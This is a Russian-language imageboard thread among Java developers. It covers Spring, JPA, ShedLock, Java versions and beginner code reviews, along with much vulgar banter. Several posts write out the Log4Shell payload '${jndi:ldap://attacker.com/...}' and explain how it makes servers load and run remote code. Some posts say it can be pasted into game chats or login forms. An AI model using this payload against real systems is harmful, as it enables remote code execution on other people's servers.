Не я забочусь этим, к счастью, а лид. Мне достаточно настроить ShedLock, нахуя мне конкретно в этой задаче балансировщики? Или ты предлагаешь через Zookeeper или другую хуйню это делать? Сразу нет – лока будет в таблице в БД постгрес
164 2234326
>>234312
Хуясе. а как ты до такого так быстро дошёл?
165 2234327
>>234323

> нахуя мне конкретно в этой задаче балансировщики?


А нахуя тогда вам несколько инстансов одного приложения, ололош?
sage 166 2234328
>>234326
До этого 4+ года олимпиадками занимался
167 2234329
>>234328
Бинарный поиск по памяти напишешь?
168 2234330
>>234326
Дело нехитрое, я вот ещё не вкатился, но тоже знаю про это.
sage 169 2234332
>>234329
Arrays.binarySearch()
конечно
170 2234333
>>234330

> я вот ещё не вкатился, но тоже знаю про это.


У тебя комплекс отличника или что?
sage 171 2234334
172 2234339
>>234333
Нет, у меня только Эдипов комплекс.
173 2234341
>>233936
Ну у нас в помойном легаси энтерпрайз-банке уже джава 15 с микросервисами и вебфлюхом есть. Да, местами на 8 все еще сидим, но готовимся к переезду на новые версии
sage 174 2234343
>>234341
Что за банк, если не секрет?
175 2234346
>>234343
Ноунейм говно, про которое ты вероятно не слышал, Металлинвестбанк
176 2234349
>>234341

> вебфлюхом есть


Это что такое?
177 2234350
>>234349
spring webFlux

чтобы в неблокирующем режиме обрабатывать хттп запросы
sage 178 2234352
>>234350

>чтобы в неблокирующем режиме обрабатывать хттп запросы


А своими словами слабо?
sage 179 2234356
>>234352
Реактивные стримы. Про это лучше самому почитать
sage 180 2234359
>>234356
Понятно, значит просто услышал хайповое слово и повторяешь, а сам даже не представляешь, как оно работает.
181 2234360
>>234350
Круто, это типа для высокой нагрузки тема?
182 2234361
>>234359
Очередной вид троллинга в джава треде?
183 2234362
>>234359

> а сам даже не представляешь, как оно работает.


А ты всегда прежде чем заюзать новую либу, идёшь в спецификацию и документацию и изучаешь их?
sage 184 2234368
>>234362
Разумеется. Не досконально, но как минимум на общем уровне я имею представление как работает то, что я использую.
sage 185 2234369
>>234359
В основе используется пуш модель.
Очень грубо говоря, это выглядит так: ты говоришь (например монге) дай мне вот это, и когда будет результат, сделай вот это. Из таких вещей строится пайплайн, который делает различные модификации данных в потоке. Как итог, тебе не нужно блокировать поток, пока ты ждёшь результат твоего запроса, и в это время он может выполнять другую полезную работу
покормил
186 2234370
>>234360
Да, когда поступает одновременно много запросов в секунду.
sage 187 2234373
>>234369
Ну то есть это коллбэки. А хттп-запросы тут причем? Там модель запрос-ответ.
sage 188 2234383
>>234373
Это альтернатива коллбекам. на сайте реактора даже примеры с коллбеками есть
По хттп ты можешь стримить данными. Получается что-то вроде sse, только со своей спецификацией и возможностью строить такой реактивный стрим через несколько микросервисов, например
189 2234519
А кто в банках решает,что надо перекатывать версию джавы?
190 2234547
>>234519
Где-то в руководстве решают. CTO/техлиды выбивают деньги и время на это. Но в целом и так очевидно, если версию жабы не перекатывать, то в банках до сих пор бы писали на java 1.4, а скорее всего и вовсе на коболе.
sage 191 2234552
>>234383

>По хттп ты можешь стримить данными


Покажи место в RFC, где такое написано.
192 2234564
>>234519
Архитекторы, которые сидят где-то наверху, либо говорят, что надо обновить какую-нибудь технологию на более новую версию, либо могут объявить технологию "нецелевой" и сказать, что надо отказаться от её использования по таким-то и таким-то причинам. Спорить с ними очень сложно, можно только согласовать сроки миграции. Инициатива об отказе от EE-говна и переката на спринги и микросервисы идёт именно от них хотя на более модный стек легче найти разрабов.
194 2234679
Ну что джаваны, обкакунькалися опять, китайцы уже залезли в ваше сервера с log4j запуская любой код просто записав в лог ${jndi:ldap://attacker.com/pwnyourserver}
195 2234714
>>234679
Джава мертва, нужно перекатываться на .net6
sage 196 2234722
>>234679
Все адекватные люди юзают logback
197 2234751
Не имею ни малейшего понятия о разработке на жабе. Правильно ли я понимаю что из-за log4j все старые версии клиента майнкрафта стали уязвимыми, и останутся таковыми в будущем? Или с обновлением библиотеки дыру пофиксят?
198 2234752
>>234679
java is dead
oracle is dead
ibm is dead
red hat is dead

java - технология давно минувшего прошлого
199 2234758
>>234752
Это нихуя не проблема, реальная проблема, что в теории последние несколько лет энтерпрайз на джаве стоял голый перед всякими китайскими хацкерами. Масштабы пиздеца представили?
200 2234759
>>234751
Тебе через лаунчер должны предложить обнову
201 2234797
Яндексоиды здесь? Сколько у вас проектов пишется на джаве? Много или не очень? Сам вкатываюсь в жабу, и очень хочу на стажировку к вам попасть.
202 2234820
Пацаны, а java и javascript это ведб одно и тоже? Почему тогда два треда на нулевой?
sage 203 2234872
>>234820
Зарепортил.
204 2234874
>>234797

>Яндексоиды здесь? Сколько у вас проектов пишется на джаве?


-40% примерно
205 2234951
Мне кажется стейкхолдеры этого треда не правы в своем подходе.
Как раз из-за того, что этот тред раз в пару месяцев на неделю и вылезает из бамплимита и стимулирует троле-дебичей тут срать всю эту неделю.
15296679622rxvddhaor8.jpg81 Кб, 807x454
206 2234955
>>234820
Да - одно и то же. Если пишешь на ООП, то это java, а если пишешь скрипты, то javascript.
sage 207 2234960
>>234951
Раньше вроде по 500 и перекатывались. От троллинга это не спасало
208 2234963
>>234951
Пишите в тред с сажей тогда, чтобы не всплывал и троллей не приманивал.
209 2235154
Ананас, помоги пожалуйста с JPA. Вот есть persist. Про него написано, что он используется для сохранения новых сущностей. Но какая сущность считается новой, никто особо не поясняет.

Та, id которой нет в БД? Вроде кажется логичным (как ещё определять, есть сущность или нет?), но баелдунг пишет, что persist с уже имеющейся (что бы это ни значило) сущностью бросает эксешпен сразу же на вызове, не дожидаясь flush или commit. Получается, JPA как-то сразу, до запроса к базе выясняет, есть ли эта сущность в ней или нет? Как?
sage 210 2235165
>>235154
Юзай JdbcTemplate и не еби себе мозг.
211 2235168
Помогите понять как принять запрос из скрипта JS на страничке. Написал вот такой контроллер , но браузер показывает ошибку 403 каждый раз.
212 2235178
>>235168
Ты хоть один туториал по спринговым рест-контроллерам читал, или наугад всё пишешь?

> @Controller


@RestController

> @PostMapping(value = "test", produces = {"text/html; charset=UTF-8"})


@PostMapping("test")

> public void test() {


public String test() {

> System.out.println("Ты пидор");


return "Ты пидор";
213 2235180
>>235165
На собесах любят ебать мозги хибером. Меня на нескольких заставляли вспоминать методы энтитименеджера, хотя я всегда пользовался только спринг-датой.
214 2235186
>>235178
Я туда щас все подряд перебором пишу , потому что я 403 получаю при любом раскладе.
215 2235195
>>234751

>клиента майнкрафта


сервера майнкрафта ломали, которые на жабе17 работают
216 2235199
>>235180

> любят ебать мозги хибером


если вспомнишь методы и аннотации хибера будут ебать мозг медодами jpa
sage 217 2235202
>>235195
Через log4j?
1639220216194.png57 Кб, 1183x1034
218 2235205
>>235202
ну мне так на форчане сказали, а вобще это фича
219 2235206
>>235168
В общем это spring security блокировал пост запросы. Подскажите как csrf настроить что бы он не блочил пост запросы.
220 2235212
>>235202
Просто в чат пишешь эту ссылку и она запускает любой жаба код с твоего сервера
https://www.youtube.com/watch?v=5-GkpxbZ9Zw
221 2235233
Чому на jocker/jpoint больше нет нормальных выступлений и докладов? В этом году только у жени борисова был годный доклад, все остальное - говно, на котором просто рассказывали обо всем и ни о чем одновременно + сами докладчики были довольно старыми, на вид все 40+.
Даже доклад про кваркурс и тот превратили в говно с шутками-прибаутками от ведущих. Платформа jvm чтоли сдохла окончательно? На cpp russia и zero cost conf от яндекса и то уровень докладов был в разы выше.
222 2235243
>>235233
А что ты хотел услышать на докладах? В С++ так-то новый стандарт подвезли совсем недавно с новыми фичами, а в джаве что? Доклады ранних лет были годными, потому что в java 8 появилось много новых фич + была потребность в докладах по кишочкам спринга и jmm. Был конкретный запрос - были доклады по конкретной теме. Сейчас же конференцию вроде как и нужно провести, а докладывать нечего. Спринг 6 выйдет через год, но на него очень мало кто перейдет, лума и вальхаллы еще очень долго не будет, кваркус и микронавт никогда не смогут занять нишу спринга, а про всякие паттерг матчинги и большие строки рассказывать на докладе смысла особо-то и нет.
223 2235255
>>233165
Странно, что рабочий exe не вышло сделать. Только батник.
Кстати, как запускают в продакшене программы с javafx под виндой?
224 2235258
>>235255

> Странно, что рабочий exe не вышло сделать. Только батник.


Конечно не вышла, jlink такого не умеет.

> Кстати, как запускают в продакшене программы с javafx под виндой?


Либо через батник, который запускает жарник через java.exe, либо пишут на плюсах/шарпе экзешник, который делает то же самое.
225 2235259
>>235233

>на вид все 40+.


А что в этом такого? Опытные дядьки. Есть вероятность, что будет минимум шуток и больше полезной информации.
226 2235262
>>235258
Я просто подумал, что можно сделать exe не только через launch4j (Который так мне не смог этого сделать).

>либо пишут на плюсах


Хыыы. Так и сделал.
227 2235266
На удивление приятно удивлён адекватности и отзывчивости в треде. Такого не было раньше. Года 2 не заходил в /pr т.к. в том же С++ тредах был филиал нулевой с дикарями. А в этом треде через пост обсуждали петухов пишущих на джава. Неужели происходит отток рака?
228 2235270
>>235259

>Есть вероятность, что будет минимум шуток и больше полезной информации



Не, нихуя. Тот же доклад про кваркус в говно превратили. Ну и обсуждение фич, которые не вышли в 17 версии тоже получилось не обсуждением, а скорее цирковым представлением.

Да и даже если 40+, то не страшно. Я просто там совсем каких-то деда и бабку увидел в докладе про jakarata ee, там и просмотров было меньше всего. Страшно то, что докладов нормальных нет нихуя. Ну вот вообще кал полный. Раньше хоть леха шипилев и борисов что-то годное представляли, а сейчас дно полнейшее.
229 2235274
Если объекты выровнены по границе 8 байт, то это же значит, что адрес объекта всегда будет кратен 8?
sage 230 2235276
>>235274
Спроси в крестотреде.
231 2235277
>>235270
Да у нас вообще с обучением беда. Чего стоят только переводные книжки с вырезанными главами. Или сколько генерируют бесконечного потока инфо шума.
Чтобы научиться нужно жизнь на алтарь положить. И всё равно найдутся умники, которые посчитают своим долгом обесценить твои труд, умения или знания.
232 2235297
Тащем-то на последних конференциях тоже были неплохие доклады. Леха шипилев тоже докладывался в этом году.
Но вообще странно ожидать, что каждый спикер будет представлять умопомрачительные технологии.
233 2235372
А надо присваивать null ненужным обьектам, чтобы экономить память?
234 2235384
>>235372
Чтобы экономить память, надо писать на C++.
235 2235388
>>235384
Только на нем написаны самые жрущие память проги/игоры. Страшно представить что это еще с экономией.
236 2235389
Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient?

yobaMethod() {
yobaService.callAsyncYoba();
//тут надо поймать исключение, которое выбрасывается в другом потоке
}

Могу ли я обернуть yobaService.callAsyncYoba() в какой-нибудь Mono или CompletableFuture и сделать вызов синхронным?
237 2235398
>>235388
Да, страшно представить, какие мощные суперкомпьютеры понадобились бы, чтобы запустить эти проги/игры, если бы их написали на жабе. Одна IDEA чего стоит.
238 2235543
>>234287
Братишка, ты доку-то читал своей херни? Там же всё написано. Если выполнение таски занимает 1 секунду с перерывом 5 минут, то ставь lockAtMostFor где-нибудь на 4 минуты 58 секунд, чтобы если года наебнулась она освободила лок перед тем как другая таска запустится. Min видимо можно не ставить, потому что за 1 секунду ноды должны засинкаться. Но если хочется поставь пару секунд, чтобы таска точно успела выполниться

You can also set lockAtMostFor attribute which specifies how long the lock should be kept in case the executing node dies. This is just a fallback, under normal circumstances the lock is released as soon the tasks finishes. You have to set lockAtMostFor to a value which is much longer than normal execution time. If the task takes longer than lockAtMostFor the resulting behavior may be unpredictable (more than one process will effectively hold the lock).

If you do not specify lockAtMostFor in @SchedulerLock default value from @EnableSchedulerLock will be used.

Lastly, you can set lockAtLeastFor attribute which specifies minimum amount of time for which the lock should be kept. Its main purpose is to prevent execution from multiple nodes in case of really short tasks and clock difference between the nodes.
239 2235557
>>235255
Странно, ведь если следовать гаду по ссылке получается рабочий ехе.
240 2235560
>>235389

> Как можно заблокировать метод, внутри которого выполняется асинхронный запрос через WebClient?


Заблокировать всмысле поток или для синхронизации?

> //тут надо поймать исключение, которое выбрасывается в другом потоке


Выбрасывается в callAsyncYoba? Если он вовзращает фьючер, просто await в yobaMethod вызови и все
241 2235561
>>235560

> await


get
242 2235619
А чё jpa,spring data и jdbc template это не одно и то же? Нихуя се
sage 243 2235632
>>235619
Jpa - спецификация по работе с бд и орм
Spring data - дата-фреймворк спринга, который упрощает работу с jpa
Jdbc template - обёртка над дефолтным jdbc, который упрощает работу с jdbc
244 2235638
>>232293 (OP)
Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций и когда какой уровень выбирать при написании кода, который работает с БД. Постоянно попускают на собеседованиях на этой теме.
sage 245 2235644
>>235638

> Посоветуйте книгу или статьи, где понятным языком разобраны уровни изоляции транзакций


Любую статью хоть на википедии.

> когда какой уровень выбирать при написании кода, который работает с БД.


Всегда во всех проектах использовать read committed. Для данных, которым в ходе транзакции меняться нельзя, использовать select for update/dbms_lock.
246 2235647
>>232299
.NET только под винду работает
247 2235648
>>232293 (OP)
Lombok используется в реальных проектах или это плохая практика?
>>235647
Кроссплатформа кроме десктопа, но там тоже делают фреймворк для windows/mac os
248 2235651
вот и рухнул жаба мир
https://habr.com/ru/company/gms/blog/594921/
https://qna.habr.com/q/1087480
жду оправданий
249 2235653
>>235632
Как можно упрощать спецификацию?
sage 250 2235655
>>235648
Ломбок используется. Но на легаси не встречал
251 2235660
>>235647
С подключением, .нет кор на всех трёх платформах работает уже 10 лет. Что гуй, что их серверные фреимворки
sage 252 2235661
>>235653
Спринг дата не упрощает спецификацию. Она оборачивает ее и предоставляет свой интерфейс, чтобы тебе было быстрее и проще писать запросы в базу
sage 253 2235662
>>235186

>Я туда щас все подряд перебором пишу


Понятно, настоящий программист
sage 254 2235664
>>235651
Все используют logback.
255 2235673
>>235274
Да, именно на этом и основаны CompressedOops https://wiki.openjdk.java.net/display/HotSpot/CompressedOops

А в крестах используют для хранения всякой экстра информации об объекте по ссылке типа hazard pointers.
sage 256 2235675
>>235372

>А надо присваивать null ненужным обьектам, чтобы экономить память?


Полям - нужно, локальным переменным - обычно нет, потому что нормальный метод должен выполниться быстро и все локальные переменные будут освобождены и без тебя.
257 2235699
Для чего вообще логгеру уметь в JNDI? Разделение ответственности идёт куда? Не удивлюсь, если современные логгеры уже тьюринг-полные и умеют в гуй нахуй.
sage 258 2235739
>>235699
Скорее всего это было что-то универсальное https://docs.oracle.com/cd/E19747-01/819-0076/jndi.html уже из коррбки там есть куча всего.
259 2235740
>>235660
Они купили проект моно и назвали его кор, но прикрутить всё, чтобы во дотнет фреймворке, не смогли.
Анон 260 2235752
Вопрос, есть задача сделать консольное приложение "Кинотеатр", есть основные обьекты: пользователь, фильм и билет, хранение информации: БД. Я реализовал репозитории: фильма, билета. Теперь вопрос, как реализовать уровни доступа пользователя(простой пользователь, менеджер и админ). Можно ли сделать это через enum?
Если что-то написал не так, прошу не кидать камнями, я еще только учусь
sage 261 2235754
>>235740
Так у Моно же другая кодовая база. Получается что JIT, GC и прочие системные вещи в .Net Core свои, не те что в обычном .Net Framework? Или они уже портировали?
262 2235785
>>235754
Это две совершенно разные платформы. Если написал программу на фреймворк, то она не запустится на кор и наоборот. На машины ставятся две платформы, если надо и то и то запускать.
sage 263 2235791
>>235752
У пользователя будет поле "роль" (или список ролей), соответствующее твоему енуму. При любых действиях проверяешь, есть ли у юзера нужная роль, если нет, ругаешься.
Обычно для такого юзают Shiro или Spring Security, но если у тебя проект без либ и фреймворков, пиши всё руками.
264 2235798
>>235791
Большое спасибо!
265 2235818
>>235664
скоро и этот ляжет
срок 3 дня
266 2235881
>>235818
log4j дырявый с 2013 года был пока зумеры майнкрафт не начали прямо из чата ломать
267 2236081
Ух в понедельник на работу, выпиливать log4j из всего говна, думаю там уже китайцы все скачали за выходные
268 2236092
>>236081
А прикинь как бы питонисту пришлось грепать по проекту и заменять вызовы 100500 импортированных кусков библиотеки на обертки
269 2236098
>>236081
Что, никаких клиентских сертификатов, VPN, реверс-прокси, прям голый сервер приложений торчит в Интернет? Выпил log4j вряд ли тебя спасёт.
270 2236136
>>236098
так все корпорации фанга уже хакнули, тупо в форму логина запихивают строку чтобы она логировалась и все
sage 271 2236194
https://cwiki.apache.org/confluence/display/MAVENOLD/Dependency+Mediation+and+Conflict+Resolution#DependencyMediationandConflictResolution-DependencyVersionRanges
Ахуеть, впервые вижу, чтобы в мавене можно было так версии указывать.
sage 272 2236198
>>236194
Попадалось как-то в гайдах по миграции на 11 жабу, как подключать выпиленный JAXB только начиная с 11 версии. Вообще, там полно подобных малоизвестных фокусов, заходишь в помники чужих проектов и думаешь: "А что, так можно было?".
sage 273 2236459
>>236194
Можно, но не нужно. Потому что например у тебя локально и на билд сервере может по разному обновиться версия. И ты билдишь с 1.1 и у тебя все ОК, а сервер с 2.0-alpha и там кровь кишки распидорасило.
274 2236563
>>234758
Хорошо что я как криворукий долбоеб все всегда ручками логировал в файл
275 2236572
Кто-нибудь может посоветовать лекцию по самым основам программирования? - интерпретаторы, компиляторы, скрипты, код итд. А то вдруг понял, что понятия не имею, что такое интерпретатор.
sage 276 2236582
>>236572
При чём тут жаба?
sage 277 2236600
>>236582
Действительно.
image.png76 Кб, 749x634
278 2236677
Как можно улучшить это говно?
279 2236682
>>236677
Не использовать float для денег.
sage 280 2236695
>>236682
Использовать нет, не BigDecimal, а long
281 2236719
>>236695
Да, в его случае лонг будет заебись.
282 2236745
>>236677
Ради причия заменил бы totalDollars = totalDolalrs + dollars; на лаконичное totalDollars += dollars;
Сделал бы вывод аккуратнее. Для числа 5 у тебя получится неграмотное выражение - "Средняя цена покупки за 5 ордера: ..."
Почему переменная total не используется совсем?
И в целом - какую проблему ты этим кодом решаешь?
283 2236762
>>236745
Ну например ты хочешь купить биток, ожидаешь что цена будет снижаться, у тебя есть 1000 баксов, на 48к ты покупаешь на 150, на 44к на 200, на 38к на 250, на 30к на 350 и узнать среднюю цену всех твоих покупок, что бы прикинуть как лучше раскидать средства, сколько ордеров делать и тд.
284 2236773
>>236762
Даже в твоём примере прямо разделяются ордер и деньги. Наверное, тогда стоит эти сущности разделить и в коде? Вдруг вместо биткойна захочешь другую валюту использовать?
285 2236777
>>236773

> Вдруг вместо биткойна захочешь другую валюту использовать?


Не, зачем покупать скам?
Че я бы хотел добавить это ввод цены покупки и суммы в одну строку, например биток за 45000 300, через пробел указать цену и что бы программа сама поняла что есть что, а не жмякать лишний раз энтер в консоль и прописывать дополнительно.
286 2236996
>>236695
Почему не Big decimal?
287 2237005
>>236996
Предполагаю потому что не настоящий проект и поэтому похуй. Хотя конечно если нужна высокая точность, то bigdecimal необходим. На одном проекте видел вживую, как чуваки начали использовать числа с плавающей точкой и в итоге у них перестали остатки сходиться, потом пиздюли были знатные
288 2237045
>>236677
order надо ограничивать, а то введут -1 или миллион
289 2237175
>>236677
Если доебаться по максимуму:
1. Нахуя ты сохраняешь "одноразовые" значения в переменные, если ничто не мешает их тупо заинлайнить?
2. Нахуя ты юзаешь форму x = x + А если есть прекрасная x += А?
3. Сильно не вникал, но уверен что сущность "coin" там нахуй не нужна, она какой-то промежуточный контейнер для хранения какого-то частного от деления чтоб потом это все сложить. Бред пиздец. Что тебе мешает просто сложить все "доллары" и поделить на n?
4. Всякий раз, когда тебе лень ебаться с грамматической нормализацией формы вывода, делай что-то вроде "Средняя цена покупки ордера (%N% шт.)". Тогда не будет хуйни вроде "за 8 часа я прошел 7 километр"
5. Не пили логику в мейн. Делай метод-экстракт. Хотя сразу видно что это не рабочий прожект, так что это доебка
6. Дрочить на float вместо double, во имя какой-то там экономии - сомнительные анальные пляски. Чревато это тем, что многие библиотеки работают с double, и когда все это начнет мешаться, у тебя всюду будут заебывающие тайп-касты.
290 2237219
Народ, может кто посоветовать что, по camunda BPM, по(читать/смотреть)?
image.png88 Кб, 1098x289
291 2237290
Что важно знать при формировании стратегии поиска:

Традиционно, самые дорогие Java разработчики сидят в финтехе.
Несмотря на высокие зарплаты, вам могут попасться джависты из финтеха с довольно низкой квалификацией. Причина в том, что в некоторых финтех компаниях разработчики могут делать минорные фичи и делать их в стол, профессиональный скилл при долгой такой работе может деградировать.
Более низкие зарплатные ожидания у джавистов из интеграторов и энтерпрайза.
Java — язык, куда многие хотят попасть. Количество джунов в профессии растет. Это хорошо и плохо одновременно. Плохо, потому что часть выпускников скоростных курсов знают только Spring и не могут написать "Hello world!" без запуска IDE.


Джависты, чому вы такое говно по мнению херок?
292 2237294
>>237290
Я наоборот нихуя не знаю кроме пуре-джавы, особенно спринг. Последствия самовката.
Сомневаюсь что это может быть плюсом, лол. Уж лучше наоборот
293 2237325
>>237294
Ну бывают иногда слышу про мемные истории, как вкатун после курсов пришел на собес и не знает, что такое цикл for, хотя имеет несколько петпроджектов со спрингом на гитхабе.
294 2237328
Как много вакансий генерирует Сбер? Реально устроится джуном-стажером в ДС, при этом обойдя эту контору стороной? Я понимаю, что в сбере тоже есть крутые команды, но как показывает практика, почти все знакомые джуны, которые туда попали, в итоге оказались в говнокомандах, после чего увольнялись и не могли себе найти нормальную работу. Я не только про джавистов говорю, а вообще про всех - мл, дс, js, java.
295 2237329
>>237325
Потому что такой прожект любая обезьяна может накидать с уроков на ютабчике. Особенно легкий путь это спиздить репозиторий автора и тупо переименовать там все.
296 2237334
>>237329
Чтобы оно заработало после того как накидать, надо сначала разобраться.
Чтобы переименовать осмысленно, надо сначала разобраться.
Так то, вкатунишка!
297 2237336
>>237334

>вкатунишка


себе что ли сказал, клован?

>Чтобы оно заработало после того как накидать, надо сначала разобраться.


Разобраться как нажать кнопку run в идее?
Че несет вообще охуеть. Самооправдания долбоеба который именно так и вкатывался незаменты.
298 2237339
>>237336
Я вкатывался пять лет назад в микрогалеру в мухостранске без всяких петов. Основы жс и пхп изучил по срачам на форумах и бордах. Повезло то что галера пилила тырпрайз, а не визитки.

А вот ты написал бред и теперь его защишаешь. Если челик просто клонирует чужу репу, его легко поймать на этом с пары вопросов в разговоре. Если же его никто не спросит, то значит компанию беспокоят не уровень знаний, а цена найма.
299 2237347
>>237175
Спасиб за советы, половину не понял, но почитаю инфу.
300 2237348
>>237339

>А вот ты написал бред и теперь его защишаешь


Я просто написал единственный сценарий, по которому, кмк, может возникнуть ситуация, что ты пришел яко бы со спринг-стеком, но при этом испытываешь проблемы с пониманием циклов.
Может ты что-то спутал, но я не говорю что это типа нормально, я просто так отреагировал на то высказывание что можно на серьезных щах прийти на собес по джаве+спринг не зная циклов
301 2237354
>>237347
Да тут все твои друзья, приходи.
Олсо, просрано важное, чего коснулся этот >>237045 анон.
7) Надо проверять что у тебя не будет деления на ноль. Это не так страшно, если ты юзаешь результат только для вывода в консоль (будет NaN), но как только ты такой double решишь как-то использовать где-то, где никакой NaN быть не может, у тебя все развалится прямо в рантайме
sage 302 2237463
А в джаве есть какой-то класс, который представляет собой файл в виде имени и набора байтов/байтового потока? Стандартный file вроде не подходит.
303 2237619
>>237463
Стандартный файл это репрезентейшен файла в ОС, можно сказать, таких его свойств как имя, директория, доступность и прочее. Само содержимое можно получить в виде т.н. "потока" - такая хуйня которая может "читаться" в направлении от начала к концу и "заканчиваться". Так вот поток создается как отдельный объект отдельного класса, в конструктор которому ты передаешь file (ну либо тупо адрес, там разные конструкторы). После этого ты можешь из потока читать побайтово (либо посимвольно, если хочешь воспринимать это как текстовик, либо построчно, в зависимости от типа потока, которых там дохуища, например FileInputStream)
304 2237825
Правильно я понимаю, что суть уязвимости log4j это аоп, на котором работают логеры и использование jndi для приема данных?
То есть совмещение двух технологий для универсализации привели к большому пиздецу.
305 2237829
>>237825
Почему система для логгирования лезет в сеть? Это же вообще пиздец как безопасно.
sage 307 2237831
Бля, я ж говорил, что нахуй log4j, когда есть Logback.
308 2237833
У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования, но фиксить надо какой-то там логгер, хих.
309 2237840
>>237833

> на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования


А нахуя так?
310 2237844
>>237840
Уж как деды запилили, потихоньку переделывается.
311 2237855
>>237829
>>237830
Объясните ньюфагу дебилу суть уязвимости.
Лезет в сеть в каком смысле?
Я думал эксплуатирования уязвимости в том, что ты шлешь хттп со строчкой где есть jndi и потом уже log4j там отсылает все что попросишь?
312 2238140
>>237833

>У нас на проекте клиент шлёт SQL-запросы серверу через HTTP без шифрования


Мы тоже так делали, это хорошее, гибкое решение!
правда это было в 2004 году и система использовалась только в локальных сетях без доступа к интернету
313 2238150
>>238140
Ещё, небось, и с логикой на процедурах в базе?
sage 314 2238251
>>238150
А как же! И некоторые процедуры были на джаве Оракл такое позволяет. А гуй был веб + аплеты. Тогда можно было любую дичь творить, хоть с VB приложухой через ActiveX и JACOB конектиться.
315 2238262
>>237855
Проблема была вызвана тем, что Log4j 2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой "${jndi:ldap://attacker.com/a}", при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения.

https://www.opennet.ru/opennews/art.shtml?num=56319
image.png30 Кб, 585x243
316 2238305
Чяднт, компилятор шлёт нахуй. Какой метод вместо contains задать, чтобы при виде хотя бы одного слова из массива if срабатывал?
317 2238343
>>238305
Почитай лучше ещё раз что такое массивы и как с ними работать, вопрос сам собой отпадёт
318 2238396
Что такое гранулярность, когда говорят о времени?
319 2238441
>>238396
Минимальный интервал который может быть выражен или померян.

Например гранулярность currentTimeMillis() под виндой около 15 мсек, т.е. если вы цикле дергать currentTimeMillis() и сравнивать значения, то у тебя будет не 1, 2, 3, 4 как можно было бы ожидать, а 1, 16, 30, 47.
320 2238466
>>232299

>Нужно быть душевнобольным хуесосом без малейшей симпатии к программированию, чтобы в 2022 писать на жабе



so wat. Один из самых популярных и востребованных языков. Но каждый хуесос из пятогоб э начинает рассказы про то какой он ПИТОНОБОГ вкатился вайти за 3 месяца и зарабатывает лярд грина в наносекунду.
321 2238472
>>237830
доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей
322 2238476
>>238472
И? Буду только рад если начнут использовать тот же go внутри компании. Привязываться всей айти инфраструктурой к 1 платформе это путь долбоебов в независимости от языка.
323 2238489
Массив хранит данные в непрерывном фрагменте памяти.
Допустим, у меня есть класс A и класс B, который расширяет A.
class A {
protected int a;
}

class B extends A {
private int b;
}

Потом создаю массив:
A[] a = new A[2];
a[0] = new B();

Как вообще можно в таком случае выделить непрерывный кусок памяти, если его размер не может быть известен заранее? Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?
324 2238495
>>238489

> Или в случае объектов только ссылки на них располагаются в непрерывном участке памяти, а сами объекты уже нет?


Да.
325 2238498
>>238472

>доверие к жабе всё равно подорвано у мирового сообщества разработчиков и предпринимателей


Подорванный ты наш, напомни сколько там было багов из-за переполнения буфера в программах на С/с++?
326 2238500
>>238472
Это чем же оно подорвано?
327 2238512
В паметризованном классе с параметром типа Т нельзя создать массив Т[] только потому, что в рантайме T стерт на Object и нельзя проконтролировать никак, является ли то, что мы помещаем в массив, объектом типа T или есть еще какие-то причины?
328 2238535
>>238512
Нельзя потому что во время компиляции тип Т неизвестен и поэтому нельзя сгенерировать байткод new T[].
329 2238541
>>238535
Надо было вместо убогих дженериков впиливать крестоблядские темплейты.
330 2238546
>>238541
Лучше бы молчал, чем пороть чушь о вещах в которой не разбираешься.
331 2238554
Как после вката в ждуны выбрать свою нишу в жабе?
Мне и цветных чертей в браузере нравится двигать и в кишочках хибернейта ковыряться.
Но ведь 90% жабы это сервера и банки, банки и сервера. Значит есть смысл упарываться только суровым бэкендом. Или можно забить хуй и развиваться равномерно по настроению?
332 2238556
>>238546
И всё же нужно было темплейты.
333 2238559
И крестоблядские компиляция и работа с памятью. Глядишь, идея бы не тормозила.
sage 334 2238565
>>238559
Так грааль для таких манек придумали.
335 2238566
>>238565
Если б он ещё работал.
336 2238567
Анон где можно практически прокачать знания многопоточности и JUNIT . Видел выше кидали курс на степике где можно было прокачать знания по стримам. Мб и на эти темы что то есть.
sage 337 2238568
>>238566
К джаве 30 допилят.
sage 338 2238592
А есть mockMvc только для реста?
339 2238594
>>238592
В смысле?
sage 340 2238595
>>238594
В коромысле епта
sage 341 2238597
>>238595
Ну и иди нахуй
sage 342 2238598
>>238594
Ну со всякими удобными плюшками.
sage 343 2238599
>>238598
Так в мок мвц и так куча плюшек. Или ты сам отправляешь рест запросики и тебе нужно убедиться, что все норм
344 2238605
Есть работяги? Скажите пожалуйста какие задачи дефолтно выполняете, какие интересные моежете выделить или сложные ?
На позиции мидла. Я на говноголере в мухосрани выполняю дефолтные штуки. Контроллеры пишу, дао, сервисы, тесты, чаще что-то исправляю. Но в тех же местах.
Спасибо!
345 2238621
>>238605
Не парься, интересной работы на жабе почти нет.
.png245 Кб, 720x720
346 2238622
>>238621
Работа вообще как таковая хуйня.
347 2238640
>>238621
Да просто собираюсь переехать в мск и вот скоро начать ходить(миит) на собесы.Сначала прохожу из своей мухосрани потом понаехаю. Хочу устроиться в сбер, ходить в офис и жить жизнь. Часто спрашивают, а что интересное делал, у меня интересного "код наплакал".
348 2238650
Как будет выглядеть cron в @Scheduled для выполнения задачи каждые 10 минут 30 секунд?
sage 349 2238653
>>238650
Загугли конструктор крон-выражений.
350 2238661
>>238653
Ну епта я не такой долбоеб чтобы нихуя не гуглив задавать вопрос тут и надеяться на анона. Гуглил, пытался тут что-то нахуевертить, но сука даже в примерах нет ничего связанного похожего

https://www.freeformatter.com/cron-expression-generator-quartz.html
sage 351 2238670
>>238661
Ты первую ссылку открыл и пришел в тред? Открывай вторую теперь.
352 2238671
>>233170
А есть что-то конкретно про хибернейт?
